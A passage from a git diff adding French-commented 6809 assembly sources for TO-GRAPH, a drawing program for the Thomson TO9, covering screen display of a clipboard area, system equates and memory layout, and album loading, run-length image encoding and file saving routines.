+ JSR FENFER
+ JSR FENACT
+SELALF ORCC #$01
+ LEAS 2,S
+ PULS D,X,Y,U,PC ->>
+
+
+*=======================================
+* S/P visualisation du tiroir
+*
+* Entrée: X coord. graphique haut
+* Y gauche
+* A #0 si effacement préalable
+*=======================================
+
+XVISTI PSHS D,X,Y,U
+PA SET 0
+PB SET 1
+PX SET 2
+PY SET 4
+*---------------------------------------
+
+* calculer coord. de visualisation
+ LDD PX,S
+ STD <XT0
+ ADDD <LPTTIR
+ SUBD #1
+ STD <XT1
+
+ LDD PY,S
+ STD <YT0
+ CLRA
+ LDB <HPTTIR
+ ADDD <YT0
+ SUBD #1
+ STD <YT1
+
+* décaler le tiroir pour corresp.
+* colonnes
+ LDD <XT0
+ ANDB #7
+ LBSR XDECAL
+
+* calcul de la zone visualisée
+ LDD <XT0
+ ASRA
+ RORB
+ ASRA
+ RORB
+ ASRA
+ RORB
+ STB <COLT0
+ CLR <DECSEG
+ CMPB #4
+ BGE XPCL10 ->
+ LDA #4
+ SUBA <COLT0
+ STA <DECSEG
+ LDA #4
+ STA <COLT0
+ LDD #32
+ STD <XT0
+
+XPCL10 CLR <DECLIG
+ LDD <YT0
+ CMPD #8
+ BGE XPCL11 ->
+ LDD #8
+ SUBD <YT0
+ STB <DECLIG
+ LDD #8
+ STD <YT0
+XPCL11 LDA <YT0+1
+ STA <YT0 valeur 8..191
+
+ LDD <XT1
+ ASRA
+ RORB
+ ASRA
+ RORB
+ ASRA
+ RORB
+ STB <COLT1
+ CMPB #77
+ BLE XPCL12 ->
+ LDB #77
+ STB <COLT1
+ LDD #623
+ STD <XT1
+
+XPCL12 LDD <YT1
+ CMPD #191
+ BLE XPCL13 ->
+ LDD #191
+ STD <YT1
+XPCL13 LDA <YT1+1 valeur 8..191
+ STA <YT1
+
+ LDA <COLT1
+ SUBA <COLT0
+ INCA
+ STA <LARTV
+ LDA <YT1
+ SUBA <YT0
+ INCA
+ STA <HAUTV
+
+* calcul des référence 1er segment
+* (page écran et adresse
+ LDA $E7C3
+ ANDA #$FE
+ LDB <COLT0
+ LSRB
+ BCS XPCC2 ->
+ ORA #$01
+XPCC2 STA <PRE7C3
+ LDA <YT0
+ LDB #40
+ MUL
+ ADDD #$4000
+ STD <ADPRSG
+ CLRA
+ LDB <COLT0
+ LSRB
+ ADDD <ADPRSG
+ STD <ADPRSG
+
+* calcul des nb de seg. sur page
+* du 1er et sur l'autre
+ LDA <LARTV
+ LSRA
+ STA <NBSEG1
+ STA <NBSEG2
+ BCC XPCC3 ->
+ INC <NBSEG1
+
+* si demandé... effacer
+XPCC3 TST PA,S
+ BEQ XPCC4 ->
+ LBSR XCLRTI
+
+* superposition des seg. 1ère page
+XPCC4 LDA <PRE7C3
+ STA $E7C3
+ LDA <HAUTV
+ STA <CPTLT
+ LDU <ADPRSG
+ STU <ADPRSL
+ LDY #ZONTRA Y=ad 1ére ligne
+ LDA <LARTIR
+ LDB <DECLIG
+ MUL
+ LEAY D,Y
+XPCC10 LDA <DECSEG
+ LEAX A,Y
+ LDA <NBSEG1
+XPCC11 LDB ,U
+ ORB ,X++
+ STB ,U+
+ DECA
+ BNE XPCC11 ->
+ LDB <LARTIR
+ LEAY B,Y
+ LDU <ADPRSL
+ LEAU 40,U
+ STU <ADPRSL
+ DEC <CPTLT
+ BNE XPCC10 ->
+
+* superposition des seg. 2ème page
+ LDA $E7C3
+ EORA #$01
+ STA $E7C3
+ LDA <HAUTV
+ STA <CPTLT
+ CLRA
+ LDB <PRE7C3
+ ANDB #1
+ EORB #1
+ ADDD <ADPRSG
+ STD <ADPRSL
+ TFR D,U
+ LDY #ZONTRA+1 Y=ad 1ére ligne
+ LDA <LARTIR
+ LDB <DECLIG
+ MUL
+ LEAY D,Y
+XPCC20 LDA <DECSEG
+ LEAX A,Y
+ LDA <NBSEG2
+XPCC21 LDB ,U
+ ORB ,X++
+ STB ,U+
+ DECA
+ BNE XPCC21 ->
+ LDB <LARTIR
+ LEAY B,Y
+ LDU <ADPRSL
+ LEAU 40,U
+ STU <ADPRSL
+ DEC <CPTLT
+ BNE XPCC20 ->
+
+ PULS D,X,Y,U,PC ->>
diff --git a/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-EQ.ASM b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-EQ.ASM
new file mode 100644
index 0000000..6c3093e
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-EQ.ASM
@@ -0,0 +1,354 @@
+ TITLE TO-GRAPH: Equates
+* ------------------------------
+ PAGE
+
+****************************************
+* *
+* TO-GRAPH *
+* *
+* Equates *
+* *
+****************************************
+
+
+* Definition des points d'entree dans
+* le moniteur TO9
+*-------------------------------------
+
+STATUS EQU $6019 état machine
+RANG EQU $601B rangee courante
+COLN EQU $6020 colonne courante
+TIMEPT EQU $6027 vecteur IT timer
+RSOPC EQU $602B
+USERAF EQU $602D pt car. user
+ATRANG EQU $6039 attrib. courants
+ATRSCR EQU $603A ... écran
+COLOUR EQU $603B couleur cour.
+TELETL EQU $603C mode page
+CHDRAW EQU $6041 tracé point ou car
+MAXBK EQU $6047 dernier bank libre
+DKDRV EQU $6049 drive courant
+DKNUM EQU $604D entrelacement
+SCRMOD EQU $605F mode écran
+BUFCLV EQU $6079 pt buffer clavier
+SIZCLV EQU $607B lg buffer clavier
+IDSAUT EQU $6082 buffer clav. std.
+PTGENE EQU $60CF géné. car.
+
+VALTYP EQU $6105 calculs
+FACMO EQU $6150
+FACLO EQU $6151
+ARGMO EQU $615B
+ARGLO EQU $615C
+DEBZON EQU $616B
+FINZON EQU $616E
+EOFFLG EQU $6178
+NAMSEC EQU $618E
+NAMSLT EQU $618F
+CARCOU EQU $6196
+SECBUF EQU $6197
+FATPTR EQU $6199
+COULGR EQU $619F couleur graphique
+TRATYP EQU $61A0 type tracé
+XXXXXX EQU $61A1 curseur graphique
+YYYYYY EQU $61A3 .
+XL EQU $61A5 marges graphiques
+YB EQU $61A7
+XR EQU $61A9
+YT EQU $61AB
+X0COD EQU $61D6
+Y0COD EQU $61D7
+X1COD EQU $61D8
+Y1COD EQU $61D9
+PASSCD EQU $61DB
+LSTBYT EQU $61DC
+FILFLG EQU $61EF flag remplissage
+AXEH EQU $61F1 rayons ellipses
+AXEV EQU $61F0
+CAMFLG EQU $61F2
+
+PUTFLG EQU $6249 mode cod/decod ima
+FILMOD EQU $624B
+FILTYP EQU $624C
+ASCFLG EQU $624D
+FILNAM EQU $624F nom fichier
+OPTBUF EQU $625A
+MACP EQU $627D pt motif rempliss.
+WITH EQU $6288 type tracé
+
+BANKC EQU $E7E5 gate commut bank
+
+PUTC EQU $E803 edition ecran
+INITC EQU $E800 init ecran
+GETC EQU $E806 lecture clavier
+KTST EQU $E809 test clavier
+RSCO EQU $E812 e/s
+GETL EQU $E818 lect souris
+LPIN EQU $E81B lect touche souris
+GETP EQU $E821 lect point graphi.
+GETS EQU $E824 lect écran
+MENU EQU $E82D retour TO9
+KBIN EQU $E830 clig. curs. IT
+SETP EQU $EC00 definition couleur
+EXTRA EQU $EC0C extra. moniteur
+RESETC EQU 0 .
+RESETW EQU 1 .
+FCBINI EQU 2 .
+OPEN EQU 3 .
+PRINT EQU 4 .
+INPUT EQU 5 .
+CLOSE EQU 6 .
+DIR0 EQU 8 .
+ERRMSG EQU 20 .
+CIRCLE EQU 24 .
+PSETXY EQU 25 .
+LINE EQU 26 .
+BOX EQU 27 .
+CHOIX EQU 28 .
+PAINT EQU 29 .
+MIG EQU 30 .
+SHOW EQU 33 .
+MOVE EQU 38 .
+INITOR EQU 39 .
+CMPTOR EQU 40 .
+SGN EQU 41 .
+SQR EQU 44 .
+FRCTYP EQU 50 .
+SUBGO EQU 55 .
+MULTGO EQU 56 .
+DIVGO EQU 57 .
+MOVFM EQU 62 .
+MOVMF EQU 63 .
+MOVAF EQU 64 .
+EXTFIN EQU 65 .
+CODE EQU 69 .
+
+SQI EQU $10 accès fichier
+SQO EQU $20
+
+
+* Equates caractères
+*---------------------------------------
+
+BS EQU $08 codes ASCII ctrl
+HT EQU $09
+LF EQU $0A
+VT EQU $0B
+FF EQU $0C
+RC EQU $0D
+SS2 EQU $16
+CAN EQU $18
+ESC EQU $1B
+INS EQU $1C
+EFF EQU $1D
+RS EQU $1E
+US EQU $1F
+SP EQU $20
+GRAVE EQU $41
+AIGU EQU $42
+CIRCON EQU $43
+DEL EQU $7F
+
+* Equates des outils
+*---------------------------------------
+
+POINTS EQU 0
+LIGNES EQU 1
+RECTAN EQU 2
+CARRE EQU 3
+ELLIPS EQU 4
+CERCLE EQU 5
+CARACT EQU 6
+PEINTU EQU 7
+GOMME EQU 8
+LOUPE EQU 9
+COUCOP EQU 10
+COLLER EQU 11
+
+* Etats des outils
+*---------------------------------------
+
+POINTE EQU 0
+TIRE EQU 1
+
+* Tailles caractère
+*---------------------------------------
+
+TCN EQU $4C
+TCDH EQU $4D
+TCDL EQU $4E
+TCDT EQU $4F
+
+* Définition des bank RAM utilisées
+*---------------------------------------
+
+BKTIR EQU 2 RAM
+PBKPIL EQU 3 Pile fenêtre
+DBKPIL EQU 6
+BKMANO EQU 6 Zone manoeuvre
+PBKTRA EQU 7 Feuille travail
+DBKTRA EQU 12
+PBKALB EQU 13 Albums
+
+* Définition des caractères utilisateurs
+*---------------------------------------
+
+* Nb de $80 à $AF ... icones outils !!!
+* Nb de $B0 à $BB ... icones taille trai
+MOTRAZ EQU $BC icone raz
+MOTRET EQU $BD icone retour
+MOTSUI EQU $BE suite
+CSCRG0 EQU $BF icones scroll
+CSCRG1 EQU $C0
+CSCRG2 EQU $C1
+CSCRD0 EQU $C2
+CSCRD1 EQU $C3
+CSCRD2 EQU $C4
+CSCRH0 EQU $C5
+CSCRH1 EQU $C6
+CSCRH2 EQU $C7
+CSCRB0 EQU $C8
+CSCRB1 EQU $C9
+CSCRB2 EQU $CA
+
+* Déplacements sur RAM
+*---------------------------------------
+
+ ORG $6800
+
+PILE EQU *-1 pile soft
+
+ZONFEN RMB 1080 zone fenêtrage
+
+OUTIL RMB 1 outil courant
+
+MAXALB RMB 1 max. albums
+NBALB RMB 1 nb album courant
+TABALB RMB 16*(8+1)
+* 16 postes max
+* 8 car: nom
+* 1 car: bank
+
+ETAOUT RMB 1 état outil
+
+X0TIRE RMB 2 coordo. dessins
+Y0TIRE RMB 2 provisoires
+X1TIRE RMB 2
+Y1TIRE RMB 2
+
+REGCC RMB 1 pile (/U) des
+REGA RMB 1 param FEN
+REGB RMB 1
+REGX RMB 2
+REGY RMB 2
+PILFEN EQU *
+
+CARMOT RMB 8 motif courant
+MOTIF EQU *
+
+TXTMOT RMB 8 motif ASCII
+
+ RMB 8 motif plein
+PLEIN EQU *
+
+TCAR RMB 1 taille caractère
+
+TLIGN RMB 1 taille ligne
+
+FLGSS2 RMB 1 drapeau SS2
+
+FLGLOU RMB 1 drapeau loupe
+RNGLOU RMB 1 fenêtre loupe
+COLLOU RMB 1 ...
+
+STDTOR RMB 1 drapeau tortue std
+
+CADRNG RMB 1 zone cadréee dans
+CADCOL RMB 1 la fenêtre par
+CADHAU RMB 1 SPCADR
+CADLAR RMB 1 CADCOL=0..59!
+
+COEFMU RMB 4 réel coef écr/impr
+MEMREL RMB 4 réel manoeuvre
+
+DESCOU RMB 8 fichier courant
+
+* Chien de garde (peinture)
+*---------------------------------------
+
+BKDOG RMB 1
+ADRDOG RMB 2
+STKDOG RMB 2
+DPDOG RMB 1
+FLGDOG RMB 1
+XDOG RMB FDOG-DDOG
+
+* Page 0 en accès rapide:
+* - Tiroir
+* - Echanges écran <-> feuille
+*---------------------------------------
+
+ ORG $6F00
+MANTIR EQU *
+FLGTIR RMB 1 signale un tiroir
+* dans $A000...
+XT0 RMB 2 cordonnées points
+YT0 RMB 2 début
+XT1 RMB 2 cordonnées points
+YT1 RMB 2 fin
+CPTLT RMB 1 compteurs
+CPTCT RMB 1
+HPTTIR RMB 1 hauteur en points
+LPTTIR RMB 2 largeur ...
+LARTIR RMB 1 largeur en segment
+DECTIR RMB 1 décalage bit
+COLT0 RMB 1 col. car. gauche
+COLT1 RMB 1 col. car. droite
+ADPRSG RMB 2 adresse 1er seg.
+* dans chaque page
+ADPRSL RMB 2 adresse 1er seg.
+* ligne courante
+PRE7C3 RMB 1 page 1er segment
+NBSEG1 RMB 1 nb seg. 1ère page
+NBSEG2 RMB 1 nb seg. 2ème page
+DECSEG RMB 1 décalage visu
+DECLIG RMB 1
+LARTV RMB 1 taille visu
+HAUTV RMB 1
+ADF RMB 2 adr. début feuille
+* pour les 2 pages
+* 0..48959 (3 banks)
+ADPRRL RMB 2 adr. deb. ligne
+RGDECR RMB 1 rangée début écran
+* 0..101 (8 pts)
+CLDECR RMB 1 colonne ...
+* 0..59 (16 pts)
+
+* Variables de gestion "copier" sur
+* album
+*---------------------------------------
+
+COPALB RMB 1 flag FF=>en cours
+COPAOU RMB 1 mémo outil
+ALBCOU RMB 2 pt album courant
+
+
+* Tortue de pointage en mode caractère
+*---------------------------------------
+
+FLGTXT RMB 1 flag mode texte
+CLITXT RMB 1 flag clign tortue
+TORTXT RMB 100 descrip. tortue
+* pour mode texte
+TXTX EQU TORTXT+6 abscisse tortue
+TXTY EQU TORTXT+9 ordonne tortue
+TFORME EQU TORTXT+16 forme
+
+* Tiroir ou zone manoeuvre (codage/
+* décodage,remplissage,copie fichier)
+* utilise tout le bank RAM
+*---------------------------------------
+
+ZONTRA EQU $A000
+LGZTRA EQU $E000-ZONTRA
+FINTRA EQU $DFFF
diff --git a/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-F.ASM b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-F.ASM
new file mode 100644
index 0000000..6c3c2bf
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-F.ASM
@@ -0,0 +1,1114 @@
+ TITLE TO-GRAPH: Gestion feuille
+* --------------------------------
+ PAGE
+
+****************************************
+* *
+* TO-GRAPH *
+* *
+* Gestion feuille *
+* *
+****************************************
+
+
+*=======================================
+* S/P chargement du bank d'un album
+*
+* Entrée: X pt entrée de la table
+* des albums
+* Sortie: CY 0 ok
+* 1 erreur
+*=======================================
+
+CHAALB PSHS D,X,Y
+ LEAS -1,S
+MEMBK SET 0
+PD SET 1
+PX SET 3
+*---------------------------------------
+
+ LDA BANKC
+ STA MEMBK,S
+
+ LDA #SQI ouverture fich
+ STA FILMOD
+
+ LDY #FILNAM
+ LDB #8
+BCA0 LDA ,X+
+ STA ,Y+
+ DECB
+ BNE BCA0 ->
+ LDD #$414C
+ STD ,Y++
+ LDA #$42
+ STA ,Y
+
+ LDB #OPEN
+ JSR EXTRA
+ TSTB
+ BNE FINALR erreur ->
+ LDA ,X
+ STA BANKC
+
+* récupérer la longueur du bloc
+
+ JSR LECFIC
+ BCS FINALR ->
+ TSTA
+ BNE FINARR non 0 en tete ->
+ JSR LECFIC lire longueur
+ BCS FINALR ->
+ TFR A,B
+ JSR LECFIC
+ BCS FINALR ->
+ EXG A,B
+ CMPD #0
+ BEQ FINARR vide ->
+ CMPD #$3FFE
+ BGT FINARR trop grand ->
+ STD $A000
+ TFR D,Y
+
+ JSR LECFIC passer adr bidon
+ BCS FINALR ->
+ JSR LECFIC
+ BCS FINALR ->
+
+* Chargement
+
+ LDX #$A002
+ JSR LECFIC type écran
+ BCS FINALR ->
+ CMPA #$80
+ BNE FINARR # 80 col. ->
+
+BCA1 STA ,X+
+ LEAY -1,Y
+ BEQ FINALC fini ->
+ JSR LECFIC
+ BCS FINALR ->
+ BRA BCA1 ->
+
+FINALC LDB #CLOSE
+ JSR EXTRA
+ LDA MEMBK,S
+ STA BANKC
+ ANDCC #$FE
+ LEAS 1,S
+ PULS D,X,Y,PC
+
+FINARR LDB #78 'bad picture'
+ JSR DOSERR
+ LDB #CLOSE
+ JSR EXTRA
+FINALR LDA MEMBK,S
+ STA BANKC
+ LDX PX,S album libre
+ NEG 8,X
+ ORCC #1
+ LEAS 1,S
+ PULS D,X,Y,PC
+
+
+*=======================================
+* S/P codage d'un dessin
+*
+* Entrée: B 0 simple calcul de long.
+* #0 écriture fichier
+* Sortie: CY 0 si ok
+* 1 si erreur
+* D longueur
+*=======================================
+
+CODDES PSHS D
+ LEAS -267,S
+LGFIC SET 0
+TYPDES SET 2
+LARDES SET 3
+HAUDES SET 4
+MEMBK SET 5
+PBK SET 6
+TYPBLK SET 7 00: différents
+* FF: répétition
+LGBLK SET 8 lg bloc
+RPTBLK SET 9 bloc en répet
+PAGEC SET 10
+BUFCOD SET 11
+PD SET 267
+PA SET 267
+PB SET 268
+*---------------------------------------
+ LDA BANKC
+ STA MEMBK,S
+
+* Calcul de l'adresse RAM début ligne
+* initiale de la feuille (bank+déplac.)
+ LDA CADRNG *60*8 !
+ LSLA
+ LDB #60*4
+ MUL
+ ADDB CADCOL
+ ADCA #0
+ ADDD <ADF
+ BCC CODE10 ->
+ ADDD #$FFFF-48959
+CODE10 CMPD #48960
+ BCS CODE11 ->
+ SUBD #48960
+CODE11 STD <ADPRRL
+ ROLA
+ ROLA
+ ROLA
+ ANDA #3
+ ADDA #PBKTRA
+ STA PBK,S
+ LDD <ADPRRL
+ ANDA #$3F
+ ADDD #$A000
+ STD <ADPRRL
+
+* Init. codage
+ CLR LGBLK,S => lecture !
+ CLR PAGEC,S page 0
+ LDY <ADPRRL
+ LDA PBK,S
+ STA BANKC
+ LDA CADHAU
+ STA HAUDES,S
+ LDA CADLAR
+ STA LARDES,S
+ CLRA
+ STA LGFIC,S
+ STA LGFIC+1,S
+
+* Boucle de lecture .. Y= ad. RAM
+* X= ad. buffer blk
+* U= cpt colonne
+BCODS0 LDA HAUDES,S # boucle colonne
+ LDB #8
+ MUL
+ TFR D,U
+BCODS1 TST LGBLK,S # boucle lignes
+ BNE CODS10
+ INC LGBLK,S 1er octet bloc
+ LEAX BUFCOD,S
+ LDA ,Y
+ STA RPTBLK,S
+ STA ,X+
+ LBRA CODSUI ->
+
+CODS10 LDA LGBLK,S
+ CMPA #1
+ BNE CODS20 ->
+ INC LGBLK,S 2ème octet bloc
+ LDA ,Y
+ STA ,X+
+ CLR TYPBLK,S
+ CMPA RPTBLK,S
+ LBNE CODSUI ->
+ COM TYPBLK,S
+ LBRA CODSUI ->
+
+CODS20 TST TYPBLK,S bloc en cours
+ LBNE CODS40 répet. ->
+ LDA ,Y bloc différent!
+ STA ,X+
+ CMPA -2,X
+ BEQ CODS30 2 car. ident ->
+ INC LGBLK,S
+ LDA LGBLK,S
+ CMPA #255
+ LBNE CODSUI ->
+ LDX LGFIC,S bloc diff plein
+ LDB LGBLK,S
+ ADDB #2
+ ABX
+ STX LGFIC,S
+ TST PB,S
+ BEQ CODS25 ->
+ CLRA écrire bloc diff
+ JSR ECRFIC ->
+ LBCS CODSF
+ LDA LGBLK,S
+ JSR ECRFIC
+ LBCS CODSF ->
+ LEAX BUFCOD,S
+ LDB LGBLK,S
+CODS21 LDA ,X+
+ JSR ECRFIC
+ LBCS CODSF ->
+ DECB
+ BNE CODS21 ->
+CODS25 CLR LGBLK,S
+ LBRA CODSUI ->
+CODS30 DEC LGBLK,S bloc diff. fini
+ LDX LGFIC,S
+ LDB LGBLK,S
+ ADDB #2
+ ABX
+ STX LGFIC,S
+ TST PB,S
+ BEQ CODS35 ->
+ CLRA écrire bloc diff
+ JSR ECRFIC
+ LBCS CODSF ->
+ LDA LGBLK,S
+ JSR ECRFIC
+ LBCS CODSF ->
+ LEAX BUFCOD,S
+ LDB LGBLK,S
+CODS31 LDA ,X+
+ JSR ECRFIC
+ LBCS CODSF ->
+ DECB
+ BNE CODS31 ->
+CODS35 LDA #2
+ STA LGBLK,S
+ LDA ,Y
+ STA RPTBLK,S
+ LDA #$FF
+ STA TYPBLK,S
+ LBRA CODSUI ->
+
+CODS40 LDA ,Y bloc répetition
+ CMPA RPTBLK,S
+ BNE CODS50 fin identiques>
+ INC LGBLK,S
+ LDA LGBLK,S
+ CMPA #255
+ LBNE CODSUI ->
+ LDD LGFIC,S bloc repet plein
+ ADDD #2
+ STD LGFIC,S
+ TST PB,S
+ BEQ CODS45 ->
+ LDA LGBLK,S écrire bloc rpt
+ JSR ECRFIC
+ LBCS CODSF ->
+ LDA RPTBLK,S
+ JSR ECRFIC
+ LBCS CODSF ->
+CODS45 CLR LGBLK,S
+ LBRA CODSUI ->
+CODS50 LDD LGFIC,S fin bloc repet
+ ADDD #2
+ STD LGFIC,S
+ TST PB,S
+ BEQ CODS55 ->
+ LDA LGBLK,S écrire bloc rpt
+ JSR ECRFIC
+ LBCS CODSF ->
+ LDA RPTBLK,S
+ JSR ECRFIC
+ LBCS CODSF ->
+CODS55 LDA #1
+ STA LGBLK,S
+ LDA ,Y
+ LEAX BUFCOD,S
+ STA ,X+
+ STA RPTBLK,S
+
+CODSUI LEAY 60,Y
+ JSR NEXTF
+ LEAU -1,U
+ CMPU #0
+ LBNE BCODS1 ->
+ COM PAGEC,S
+ BMI CODS60
+ LDA PBK,S -> page paire
+ SUBA #3
+ STA PBK,S
+ STA BANKC
+ LDY <ADPRRL
+ LEAY 1,Y
+ JSR NEXTF
+ STY <ADPRRL
+ LDA BANKC
+ STA PBK,S
+ BRA CODS69 ->
+CODS60 LDA PBK,S
+ ADDA #3
+ STA PBK,S
+ STA BANKC
+ LDY <ADPRRL
+CODS69 DEC LARDES,S
+ LBNE BCODS0 ->
+
+ TST LGBLK,S dernier bloc ?
+ LBEQ CODS80 ->
+ TST TYPBLK,S
+ BEQ CODS70 ->
+ LDD LGFIC,S
+ ADDD #2
+ STD LGFIC,S
+ TST PB,S
+ LBEQ CODS80 ->
+ LDA LGBLK,S écrire bloc rpt
+ JSR ECRFIC
+ LBCS CODSF ->
+ LDA RPTBLK,S
+ JSR ECRFIC
+ LBCS CODSF ->
+ BRA CODS80 ->
+
+CODS70 LDX LGFIC,S
+ LDB LGBLK,S
+ ADDB #2
+ ABX
+ STX LGFIC,S
+ TST PB,S
+ BEQ CODS80 ->
+ CLRA écrire bloc diff
+ JSR ECRFIC
+ LBCS CODSF ->
+ LDA LGBLK,S
+ JSR ECRFIC
+ LBCS CODSF ->
+ LEAX BUFCOD,S
+ LDB LGBLK,S
+CODS71 LDA ,X+
+ JSR ECRFIC
+ LBCS CODSF ->
+ DECB
+ BNE CODS71 ->
+
+CODS80 LDD LGFIC,S
+ STD PD,S
+ ANDCC #$FE
+ BRA CODSEX fini ->
+
+CODSF ORCC #1
+CODSEX LDA MEMBK,S
+ STA BANKC
+ LEAS 267,S
+ PULS D,PC ->>
+
+
+*=======================================
+* S/P saisie d'un album
+*
+* Entrée: A,B coordonnées fenêtre
+* X Pt recepteur nom
+* Sortie: CY 1 Raz
+* 0 ok
+* (X) zone nom rendu
+*=======================================
+
+CZIALB PSHS U
+ LDU #XCZIAL
+ JSR COMBK2
+ PULS U,PC
+
+
+*=======================================
+* S/P ecriture d'un fichier .ALB à
+* partir d'un album
+*
+* Entrée: X pt sur album dans table
+*=======================================
+
+ECRALB PSHS D,X,Y
+ LEAS -1,S
+MEMBK SET 0
+*---------------------------------------
+ LDY #FILNAM nom défaut
+ LDA #8
+ECAL0 LDB ,X+
+ STB ,Y+
+ DECA
+ BNE ECAL0 ->
+ LDD #$414C
+ STD ,Y++
+ LDA #$42
+ STA ,Y+
+
+ LDA ,X
+ STA MEMBK,S
+
+ LDX #MCOMAL
+ LDA #8
+ECAL00 LDB ,X+
+ STB ,Y+
+ DECA
+ BNE ECAL00 ->
+
+ LDD #$FD22 confirmer nom
+ LBSR FENLOF
+ LDA #BKMANO
+ STA BANKC
+ LDX #ZONTRA
+ LDY #LGZTRA
+ LDU #MVFICH
+ LBSR DOSCZI
+ LBEQ ECALFF RAZ ->
+ LBCS ECALFF erreur ->
+
+ LDD #$0312 vérifier non
+ LBSR FENLOF existence
+ JSR DOSTST
+ BCS ECALFF existe ->
+
+ LDB MEMBK,S album->bank ram
+ LDA BANKC
+ STA MEMBK,S
+ STB BANKC
+
+ LDA #SQO #ouverture
+ STA FILMOD
+ LDA #2
+ STA FILTYP type
+ CLR ASCFLG binaire
+ LDB #OPEN
+ JSR EXTRA
+ TSTB
+ BNE ECALO erreur ->
+
+ CLRA #en tete bloc
+ JSR ECRFIC
+ BCS ECALF ->
+ LDA $A000 longueur!
+ JSR ECRFIC
+ BCS ECALF ->
+ LDA $A001
+ JSR ECRFIC
+ BCS ECALF ->
+ CLRA
+ JSR ECRFIC
+ BCS ECALF ->
+ JSR ECRFIC
+ BCS ECALF ->
+
+ LDX #$A002 #données
+ LDY $A000
+ECAL1 LDA ,X+
+ JSR ECRFIC
+ BCS ECALF erreur ->
+ LEAY -1,Y
+ BNE ECAL1 ->
+
+ LDA #$FF #bloc fin
+ JSR ECRFIC
+ BCS ECALF ->
+ CLRA
+ LDB #4
+BECBFI JSR ECRFIC
+ BCS ECALF ->
+ DECB
+ BNE BECBFI ->
+
+ LDB #CLOSE # fin normale
+ JSR EXTRA
+ BRA ECALF ->
+ECALO JSR DOSERR # erreur OPEN
+ECALF LDA MEMBK,S
+ STA BANKC
+ECALFF LEAS 1,S
+ PULS D,X,Y,PC
+
+
+*=======================================
+* S/P ecriture d'un dessin limite par
+* SPCADR sur fichier
+*=======================================
+
+ECRDES PSHS D,X,Y
+ LEAS -1,S
+MEMBK SET 0
+*---------------------------------------
+ LDA BANKC
+ STA MEMBK,S
+
+ LDY #FILNAM nom défaut
+ LDX #DESCOU
+BECDE0 LDA ,X+
+ STA ,Y+
+ CMPY #FILNAM+8
+ BNE BECDE0 ->
+ LDD #$4D41 '.MAP'
+ STD ,Y++
+ LDA #$50
+ STA ,Y+
+
+ LDX #MCOMAL
+ LDA #8
+BECDE1 LDB ,X+
+ STB ,Y+
+ DECA
+ BNE BECDE1 ->
+
+ LDD #$0313 saisir nom fic.
+ LBSR FENLOF
+ LDA #BKMANO
+ STA BANKC
+ LDX #ZONTRA
+ LDY #LGZTRA
+ LDU #MVFICH
+ LBSR DOSCZI
+ LBEQ ECDEF RAZ ->
+ LBCS ECDEF erreur ->
+
+ LDD #$0919 vérifier non
+ LBSR FENLOF existence
+ JSR DOSTST
+ LBCS ECDEF existe ->
+
+ LDA #SQO #ouverture
+ STA FILMOD
+ LDA #2
+ STA FILTYP type
+ CLR ASCFLG binaire
+ LDB #OPEN
+ JSR EXTRA
+ TSTB
+ BNE ECDEO erreur ->
+
+ CLRA #en tete bloc
+ JSR ECRFIC
+ BCS ECDEF ->
+
+ CLRB
+ JSR CODDES calcul lgth
+ ADDD #3 (type+larg+haut)
+ ADDD #4 (4 fois 0 en fin
+ JSR ECRFIC
+ BCS ECDEF ->
+ TFR B,A
+ JSR ECRFIC
+ BCS ECDEF ->
+ CLRA
+ JSR ECRFIC
+ BCS ECDEF ->
+ JSR ECRFIC
+ BCS ECDEF ->
+
+ LDA #$80 80 colonnes
+ JSR ECRFIC
+ BCS ECDEF ->
+
+ LDA CADLAR largeur - 1
+ DECA
+ JSR ECRFIC
+ BCS ECDEF ->
+
+ LDA CADHAU hauteur - 1
+ DECA
+ JSR ECRFIC
+ BCS ECDEF ->
+
+ LDB #1
+ JSR CODDES
+ BCS ECDEF ->
+
+ LDB #4 fin image
+ CLRA
+BECFI0 JSR ECRFIC
+ BCS ECDEF ->
+ DECB
+ BNE BECFI0 ->
+
+ LDA #$FF #bloc fin
+ JSR ECRFIC
+ BCS ECDEF ->
+ CLRA
+ LDB #4
+BECDFI JSR ECRFIC
+ BCS ECDEF ->
+ DECB
+ BNE BECDFI ->
+
+ LDB #CLOSE # fin normale
+ JSR EXTRA
+ BRA ECDEF ->
+ECDEO JSR DOSERR # erreur OPEN
+ECDEF LDA MEMBK,S
+ STA BANKC
+ LEAS 1,S
+ PULS D,X,Y,PC
+
+
+*=======================================
+* S/P copie d'une page écran vers la
+* zone correspondante de la feuille
+*
+* Entrée: B 0 page paire
+* 1 page impaire
+* RGDECR emplacement écran
+* CLDECR dans la feuille
+*=======================================
+
+ECRFEU PSHS U
+ LDU #XECRFE
+ JSR COMBK2
+ PULS U,PC
+
+
+*=======================================
+* S/P ecriture sur fichier
+*
+* Entrée: A car. à ecrire
+* Sortie: CY 0 si ok
+* 1 si erreur (fichier sera
+* fermé !)
+*=======================================
+
+ECRFIC PSHS U
+ LDU #XECRFI
+ JSR COMBK2
+ PULS U,PC
+
+
+*=======================================
+* S/P copie vers une page écran de la
+* zone correspondante de la feuille
+*
+* Entrée: B 0 page paire
+* 1 page impaire
+* RGDECR emplacement écran
+* CLDECR dans la feuille
+*=======================================
+
+FEUECR PSHS U
+ LDU #XFEUEC
+ JSR COMBK2
+ PULS U,PC
+
+
+*=======================================
+* S/P chargement initial des albums
+* présents sur la disquette de char.
+* gement
+* (fichiers $xxxxxxx.ALB)
+*=======================================
+
+MCALB FCC \Chargementalbum:\
+ FCB 0
+*---------------------------------------
+INIALB PSHS D,X,Y,U
+ LEAS -2,S
+FLGDIR SET 0
+ALBC SET 1
+*---------------------------------------
+
+* calcul du maxima possible
+ LDA MAXBK
+ DECA ->nb bank disp.
+ SUBA #11
+ LDB #16 maxima!
+ STB MAXALB
+ TSTA
+ BGT BRF000 ->
+ CLR MAXALB
+ LBRA FINIAL ->
+BRF000 CMPA #16
+ BGE BRF00 ->
+ STA MAXALB
+
+BRF00 LDA MAXALB
+ STA ALBC,S
+
+* chargement table des albums
+ CLR NBALB
+ CLR FLGDIR,S
+ LDX #TABALB raz tous postes
+ LDA #PBKALB
+ NEGA
+ LDB #16 max !!!
+BRF0 STA 8,X
+ DECA
+ CLR ,X
+ LEAX 9,X
+ DECB
